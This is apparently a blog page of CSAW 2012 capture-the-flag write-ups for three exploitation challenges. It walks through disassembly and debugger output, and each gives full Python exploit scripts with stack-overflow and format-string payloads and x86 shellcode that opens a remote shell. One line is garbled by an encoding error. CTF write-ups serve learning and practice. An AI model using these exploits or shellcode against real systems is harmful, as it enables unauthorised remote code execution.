CSAW 2012 CTF – Exploit 500 Writeup
Exploit 500 is the final exploitation challenge for CSAW CTF.
It looks like a game asking questions. You get 2 tries per question.
.text:08048CF7 buffer2 = byte ptr -438h
.text:08048CF7 answer = byte ptr -38h
.text:08048CF7 buffer_length = dword ptr -10h
Buffer1 size is 124 bytes and Buffer2 size is 1024 butes.
.text:08048D24 mov dword ptr [esp+0Ch], 0 ; flags
.text:08048D2C mov dword ptr [esp+8], 7Ch ; n
.text:08048D34 lea edx, [ebp+buffer1]
.text:08048D3A mov [esp+4], edx ; buf
.text:08048D3E mov [esp], eax ; fd
.text:08048D41 call _recv
First read in Buffer1 is 124 bytes, cannot be overflowed
.text:08048DB8 mov dword ptr [esp+0Ch], 0 ; flags
.text:08048DC0 mov dword ptr [esp+8], 400h ; n
.text:08048DC8 lea edx, [ebp+buffer2]
.text:08048DCE mov [esp+4], edx ; buf
.text:08048DD2 mov [esp], eax ; fd
.text:08048DD5 call _recv
Second read in Buffer2 is 1024 bytes, cannot be overflowed. No luck so far.
.text:08048DF5 shr eax, 2
.text:08048DF8 mov ecx, eax
.text:08048DFA lea eax, [ebp+buffer2]
.text:08048E00 mov esi, eax
.text:08048E02 lea eax, [ebp+answer]
.text:08048E05 mov edi, eax
.text:08048E07 rep movsd
Interesting, copy buffer2 (1024 bytes maximum) into the answer buffer (40 bytes maximum), this will smack the stack.
Let's try with a buffer dipper:
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game
Category: Movies **Answers can have spaces & case insensitive**
WarGames: David was playing ______ at the arcade
Answer: TOTO
WRONG. Try again. Bye.
That's too bad. Try one more time!
Answer: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A
We get a crash in gdb:
[Switching to process 30662]
--------------------------------------------------------------------------[regs]
EAX: 0xFFFFFFFF EBX: 0xB7FC3FF4 ECX: 0xFFFFFFC8 EDX: 0x00000009 o d I t S z a P c
ESI: 0xBFFFF2E0 EDI: 0xBFFFF6E0 EBP: 0x39624138 ESP: 0xBFFFF620 EIP: 0x41306341
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
Cannot access memory at address 0x41306341
0x41306341 in ?? ()
Calculate buffer length using the crash EIP:
60
Perfect! We can control EIP. Where can we jump now ?
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x000013 0x000013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00154c 0x00154c R E 0x1000
LOAD 0x001f14 0x0804af14 0x0804af14 0x00018c 0x000194 RW 0x1000
DYNAMIC 0x001f28 0x0804af28 0x0804af28 0x0000c8 0x0000c8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x000044 0x000044 R 0x4
GNU_EH_FRAME 0x0012c4 0x080492c4 0x080492c4 0x000084 0x000084 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x000000 0x000000 RWE 0x4
GNU_RELRO 0x001f14 0x0804af14 0x0804af14 0x0000ec 0x0000ec R 0x1
Stack is again RWE like in Exploit 300 and 400!
Our problem is that the answer buffer is quite small, 40 bytes. But buffer2 is gigantic with 1024 bytes. So our strategy will be to do an infoleak to get the offset of our shellcode stored in buffer2.
We will fake parameters pushed on the stack and then call send() to get a dump of the stack layout and locate our shellcode.
Our payload will be as follow:
[TOTO\N]['A' * 60][EIP send()][FD][OFFSET][LENGTH][FLAGS][NOP][SHELLCODE]
We will get a stack dump and then we can look for the nopsled into it to locate the start of our shellcode:
'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: ______ was the game Joshua needed to play to learn\n"not to play is the best option".\nAnswer: '
INFOLEAK
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'H\xcb\xfd\xb7\xf4\xef\xff\xb7\xd0\xfa\xff\xb7$\xf1\xff\xbf\xe0\xf0\xff\xbf\xc9~\xfe\xb7\xc0\xf0\xff\xbfl\x83\x04\x08\xa8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\xc8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xf8\x83\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xb5\x83\x04\x08\x00\x00\x00\x00\xa8\x94\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x98_\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\xf4\xef\xff\xb7\x18\xf9\xff\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7H\xcb\xfd\xb7\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7\x00\x00\x00\x00\x8c\x83\x04\x08d\xb0\x04\x08\x00\x00\x00\x00\xbf]\xee\xb7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00AAAA\xf4/\xfd\xb7d\xf1\xff\xbfq\xe5\xf1\xb7\x90\x86\x04\x08\x04\x00\x00\x00\x00\xf0\xff\xbf\xff\x0f\x00\x00@\x00\x00\x001\xc01\xdb1\xc9\xb1\x03\xfe\xc9\xb0?\xb3\x04\xcd\x80u\xf61\xc0Ph//shh/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x801\xc0@V\x88\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10|\xf2\xff\xbf\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\xdb\x9d^\x17\x8d\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x02\x0009\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00p\xd2\xfe\xb7\x00\x00\x00\x00x\xf2\xff\xbfO\x88\x04\x08\xb0\x8e\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\xd3\xb4\xe4\xb7\x01\x00\x00\x00\x14\xf3\xff\xbf\x1c\xf3\xff\xbfX\xc8\xfd\xb7\x00\x00\x00\x00\x1c\xf3\xff\xbf\x1c\xf3\xff\xbf\x00\x00\x00\x00\x8c\x83\x04\x08\xf4/\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xcc\x86\rh\xdc\xa2\x81^\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xa0&\xff\xb7\xe9\xb3\xe4\xb7\xf4\xef\xff\xb7\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xb1\x87\x04\x08D\x88\x04\x08\x01\x00\x00\x00\x14\xf3\xff\xbf\xb0\x8e\x04\x08 \x8f\x04\x08p\xd2\xfe\xb7\x0c\xf3\xff\xbf\x18\xf9\xff\xb7\x01\x00\x00\x00=\xf4\xff\xbf\x00\x00\x00\x00J\xf4\xff\xbfV\xf4\xff\xbff\xf4\xff\xbfq\xf4\xff\xbf\x92\xf9\xff\xbf\xa1\xf9\xff\xbf\xaf\xf9\xff\xbf\xa4\xfe\xff\xbf\xb2\xfe\xff\xbf\xc7\xfe\xff\xbf\x14\xff\xff\xbf*\xff\xff\xbf:\xff\xff\xbfK\xff\xff\xbfS\xff\xff\xbfh\xff\xff\xbfy\xff\xff\xbf\x87\xff\xff\xbf\x90\xff\xff\xbf\xb0\xff\xff\xbf\xbe\xff\xff\xbf\xe0\xff\xff\xbf\x00\x00\x00\x00 \x00\x00\x00\x14\xd4\xfd\xb7!\x00\x00\x00\x00\xd0\xfd\xb7\x10\x00\x00\x00\xff\xfb\xeb\x0f\x06\x00\x00\x00\x00\x10\x00\x00\x11\x00\x00\x00d\x00\x00\x00\x03\x00\x00\x004\x80\x04\x08\x04\x00\x00\x00 \x00\x00\x00\x05\x00\x00\x00\t\x00\x00\x00\x07\x00\x00\x00\x00\xe0\xfd\xb7\x08\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x90\x87\x04\x08\x0b\x00\x00\x00\xe9\x03\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\xe9\x03\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x1b\xf4\xff\xbf\x1f\x00\x00\x00\xef\xff\xff\xbf\x0f\x00\x00\x00+\xf4\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\xa9R\xd4C\xf4\xcb\xd9\x04\xdd\x8ds\xb0\xcbRfi686\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00./challenge1\x00TERM=screen\x00SHELL=/bin/bash\x00USER=csaw1\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;3'
Found shellcode at 0xbffff174L
Easy. We can now exploit this by using 0xbffff174 as the EIP in the payload:
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game
'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: The password David used to access the school computers was _____\nAnswer: '
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'key{Something_different_from_strcpy}'
Exploit code:
import struct
from struct import pack
import time
import sys
host = sys.argv[1]
infoleak = int(sys.argv[2])
# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print "len shellcode=", len(shellcode)
# challenge box
esp = 0xbffff174
# local gdb
#esp = 0xbffff234
if infoleak == 1:
ret = pack("<I", 0x08048780) # _send
else:
ret = pack("<I", esp)
size = 0xfff
offset = 0xbffff000
ebp = pack("<I", esp)
if infoleak == 0:
payload = ebp * (60/4) + ret
else:
payload = 'A' * 60 + ret
payload += pack('L', 0x8048690) # exit
payload += pack('L', 0x4) # fd
payload += pack('L', offset)
payload += pack('L', size) # len
payload += pack('L', 0x40) # flags
payload += shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,12345))
data = s.recv(1024)
print data
s.send("TOTO\n")
time.sleep(1)
s.send(payload)
time.sleep(1)
s.send("\ncat key\n")
data = s.recv(256) # discard
print repr(data)
data = s.recv(len("WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "))
print repr(data)
if infoleak == 0:
while True:
stack = s.recv(size)
print repr(stack)
if not stack:
break
sys.exit(0)
stack = s.recv(size)
print repr(stack)
for i in xrange(0, size - 1):
if stack[i] == '\x31' and stack[i+1] == '\xc0':
print "Found shellcode at ", hex(offset + i)
break
while True:
data = s.recv(65536)
print repr(data)
if not data:
break
CSAW 2012 CTF – Exploit 400 Write-up
We have a binary with a format string vulnerability:
What would be the last word you want say before the Mayan Calender ends?
Saying: %p %p %p %p
Starting count down to the end of the world!
5
4
3
2
1
0
ooO
ooOOOo
oOOOOOOoooo
ooOOOooo
/vvv\
/V V V\
/V V V\
/ V \
/ VV \ __________
/ VVV \ | |
/ VVVV \ |(nil) 0xbf9bb444 0xb7787e58 0xd696910|
/ VVVVV \ |__________|
VVVVVVVVVVVVV |
A format string vulnerability is fantastic tool for a GOT table overwrite. But what can we overwrite and where to jump ?
.bss:0804B120 ; char statement_4029[]
.bss:0804B120 statement_4029 db 200h dup(?) ; DATA XREF: sdoomsday+27o
.bss:0804B120 ; sdoomsday+3Fo ...
.bss:0804B120 _bss ends
Hmm.. Buffer in BSS, fixed offset ?
.text:08048B94 mov dword ptr [esp+0Ch], 0 ; flags
.text:08048B9C mov dword ptr [esp+8], 1FFh ; n
.text:08048BA4 mov dword ptr [esp+4], offset statement_4029 ; buf
.text:08048BAC mov [esp], eax ; fd
.text:08048BAF call _recv
Lovely! User input is stored into the BSS section and this section is RWE !
So our format string will overwrite the GOT entry for send() and replace it with the offset of the user input buffer.
I lost a monumental amount of time with an exploit that was working perfectly on my local Debian Squeeze VM and would output nothing on the challenge box. I rewrote it several time with different strategies to no avail. One of our team member tried on his Ubuntu box and it wouldn't work either o_O .. so I fired up a CentOS VM and indeed, the format string had a off by one difference in the second argument. Making the exploit works on CentOS made it work on the Ubuntu and the challenge box. I don't really know what's up with Debian's libc.
The final layout (but probably many other layouts worked before I discovered the issue with the Debian box) :
[short relative JMP to Shellcode] [Format string] [Shellcode]
For the shellcode since there is a small filter, we will just use a XOR-encoded polymorphic shellcode.
import socket
import sys
import struct
from struct import pack
import time
shellcode = ''
# dup2(4) as our socket is fd 4
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# /bin/sh polymorphic
shellcode += "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"
host = sys.argv[1]
port = 23456
guess_mode = int(sys.argv[2])
def connect_to_host():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print repr(s.recv(1024)) # banner
print repr(s.recv(1024)) # banner
return s
def exploit(payload):
s = connect_to_host()
s.send(payload + "\n")
time.sleep(3)
s.send("\nls -la\n")
s.send("cat key\n")
while True:
data = s.recv(1024)
if data:
print repr(data)
else:
break
def do_fmt(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print repr(s.recv(1024))
print repr(s.recv(1024))
s.send(payload + "\n")
print "len payload=", len(payload)
data = s.recv(len("Starting count down to the end of the world!\n"))
for i in xrange(0,6):
print repr(s.recv(32))
time.sleep(1)
data = s.recv(194)
data = s.recv(4096)
data = data[:-63]
print repr(data)
return data
format_string = "%.12d%6$n%.145d%7$n%.82d%8$nAAAA%9$n"
jump_distance = 4*4 + len(format_string) + 2 # jump over format string to shellcode
print "jump distance=", jump_distance
payload = '\xeb' + chr(jump_distance) + '\x90' * 2
payload += pack("<I", 0x804B068) # GOT table send()
payload += pack("<I", 0x804B069)
payload += pack("<I", 0x804B06A)
payload += pack("<I", 0x804B06B)
payload += format_string
payload += shellcode
exploit(payload)
time.sleep(5)
CSAW 2012 CTF – Exploit 300 Writeup
We have an interesting binary that uses signals to call functions. The most interesting handler is the user input handler:
(function names are my own, binary was stripped)
.text:080488C8
.text:080488C8 s = dword ptr -1Ch
.text:080488C8
.text:080488C8 sub esp, 1Ch
.text:080488CB mov [esp+1Ch+s], offset aFBxpSpXpcuav ; "õ+íÕÅÀÞ»+ÕÅûÒÇé"
.text:080488D2 call _puts
.text:080488D7 call readUserInput
.text:080488DC add esp, 1Ch
.text:080488DF retn
.text:080488DF inputHandler endp
which call a function to read user input:
.text:0804889E
.text:0804889E fd = dword ptr -15Ch
.text:0804889E buf = dword ptr -158h
.text:0804889E nbytes = dword ptr -154h
.text:0804889E var_146 = byte ptr -146h
.text:0804889E
.text:0804889E sub esp, 15Ch
.text:080488A4 mov eax, ds:fd
.text:080488A9 mov [esp+15Ch+nbytes], 800h ; nbytes
.text:080488B1 lea edx, [esp+15Ch+var_146]
.text:080488B5 mov [esp+15Ch+buf], edx ; buf
.text:080488B9 mov [esp+15Ch+fd], eax ; fd
.text:080488BC call _read
.text:080488C1 add esp, 15Ch
.text:080488C7 retn
.text:080488C7 readUserInput endp
Looks like we have a buffer overflow there Lets check it.
这部分并ä¸éš¾ï¼Œä½†æˆ‘å¸Œæœ›ä½ æœ‰ä¹è¶£ã€‚å¦‚æžœä½ ç»™æˆ‘å¤§é‡çš„æ•°æ®ï¼Œå®ƒå¯èƒ½æ˜¯ä¸€ä»¶å事会å‘生.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
Breakpoint in read and check the stack before the return
--------------------------------------------------------------------------[regs]
EAX: 0x00000201 EBX: 0x0000595F ECX: 0xBFFFF216 EDX: 0x00000800 o d I t S z a P c
ESI: 0x00000000 EDI: 0xB7FC3FF4 EBP: 0xBFFFF678 ESP: 0xBFFFF35C EIP: 0x080488C7
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0x80488c7: ret
0x80488c8: sub esp,0x1c
0x80488cb: mov DWORD PTR [esp],0x8048e23
0x80488d2: call 0x80486b0 <puts@plt>
0x80488d7: call 0x804889e
0x80488dc: add esp,0x1c
0x80488df: ret
0x80488e0: push edi
--------------------------------------------------------------------------------
0x080488c7 in ?? ()
gdb$ x/8x $esp
0xbffff35c: 0x396b4138 0x41306c41 0x6c41316c 0x336c4132
0xbffff36c: 0x41346c41 0x6c41356c 0x376c4136 0x41386c41
Stack smashed. Calculate buffer length for EIP control:
326
Now how can we exploit this buffer overflow to get the key ?
Checking the ELF headers:
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x000013 0x000013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00121c 0x00121c R E 0x1000
LOAD 0x001f14 0x0804af14 0x0804af14 0x00015c 0x00016c RW 0x1000
DYNAMIC 0x001f28 0x0804af28 0x0804af28 0x0000c8 0x0000c8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x000044 0x000044 R 0x4
GNU_EH_FRAME 0x000f9c 0x08048f9c 0x08048f9c 0x000094 0x000094 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x000000 0x000000 RWE 0x4
GNU_RELRO 0x001f14 0x0804af14 0x0804af14 0x0000ec 0x0000ec R 0x1
Stack is RWE! So we will put our shellcode in the buffer (and on the stack) and jump to ip.
To get the right offset on the stack, we will fake parameters push on the stack and call send() to get dump of various memory ranges.
The way I went for it is to write a scanner with this infoleak. It will quickly scan the usual range for the stack (0xbfffffff) until it finds some readable data then i will switch to a more precise scanning and look for the nopsled we have put in front of the shellcode. As soon we have the offset of the nopsled, we switch from infoleak to exploit and jump to the shellcode which dump the content of the key file.
import socket
import sys
import struct
from struct import pack
host = sys.argv[1]
port = 4842
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73"
shellcode += "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x17\x00\x00"
shellcode += "\x00\x6c\x73\x20\x2d\x6c\x61\x3e\x26\x34\x20\x3b\x20\x63"
shellcode += "\x61\x74\x20\x6b\x65\x79\x3e\x26\x34\x00\x57\x53\x89\xe1"
shellcode += "\xcd\x80"
def connect_to_host():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(132) # read banner
return s
def exploit(offset):
s = connect_to_host()
payload = ('\x90' * 32) + shellcode
payload += 'A' * (326 - len(payload))
payload += pack("L", offset)
s.send(payload)
data = True
while data:
data = s.recv(1024)
print repr(data)
s.close()
def leak(offset, size):
s = connect_to_host()
off_send = pack("L", 0x08048770)
payload = ('\x90' * 32) + shellcode
payload += 'A' * (326 - len(payload))
payload += off_send
payload += pack('<I', 0x08048813) # exit
payload += pack('<I', 0x4) # fd
payload += pack('<I', offset)
payload += pack('<I', size) # len
payload += pack('<I', 0x40) # flags
s.send(payload)
result = ''
data = True
while data:
data = s.recv(1024)
result += data
s.close()
return result
print "Searching stack..."
off_shellcode_start = 0xbfffffff
data = ''
while data == '' or data == '\x00\x00\x00\x00':
data = leak(off_shellcode_start, 4096)
print "stack offset=", hex(off_shellcode_start), repr(data)
if data == '' or data == '\x00\x00\x00\x00':
off_shellcode_start -= 0xf000
print "Searching shellcode..."
data = ''
while data != '\x90\x90\x90\x90':
data = leak(off_shellcode_start, 4)
print "shellcode offset=", hex(off_shellcode_start), "data=", repr(data)
if data != '\x90\x90\x90\x90':
off_shellcode_start += 8
print "Exploiting at offset", hex(off_shellcode_start)
exploit(off_shellcode_start)
sys.exit(0)
Exploit output:
Searching stack...
stack offset= 0xbfffffffL ''
stack offset= 0xbfff0fffL ''
stack offset= 0xbffe1fffL ''
...
stack offset= 0xbfba9fffL ''
stack offset= 0xbfb9afffL '\x00\x00\x00\x00'
Searching shellcode...
shellcode offset= 0xbfb9afffL data= '\x00\x00\x00\x00'
shellcode offset= 0xbfb9b007L data= '\x00\x00\x00\x00'
...
shellcode offset= 0xbfb9cac7L data= '\xbf\x00\x08\x00'
shellcode offset= 0xbfb9cacfL data= '\x00\x04\x00\x00'
shellcode offset= 0xbfb9cad7L data= '\x90\x90\x90\x90'
Exploiting at offset 0xbfb9cad7L
'total 20\ndrwxr-xr-x 2 liaotian liaotian 4096 Sep 29 00:27 .\ndrwxr-xr-x 14 root root 4096 Sep 29 00:27 ..\n-rw-r--r-- 1 liaotian liaotian 220 Apr 10 2010 .bash_logout\n-rw-r--r-- 1 liaotian liaotian 3184 Apr 10 2010 .bashrc\n-rw-r--r-- 1 liaotian liaotian 675 Apr 10 2010 .profile\n'
CSAW 2011 OpenGL
In this challenge, you get a Windows binary, when you start it it only display a white windows
CSAW 2011 PatchManagement Write-Up
In this Networking challenge, we get a short tcpdump capture file with a SSH session.
CSAW 2011 Android2 Write-up
In this challenge we get an Android .apk with a crackme application
CSAW 2011 CrackJack Web6 Write-up
In this challenge, we need to get administrator credential on someone's site who loves cat, ajax and getting contact emails.
A robot will visit any link you post in the contact form, this robot is at the same time logged in the site's administrator account.
CSAW 2011 .NET1 Bin200 Write-up
In this challenge, we get an archive with an encrypted file and an executable that was used to encrypt it.
We have to decrypt this file to get the key.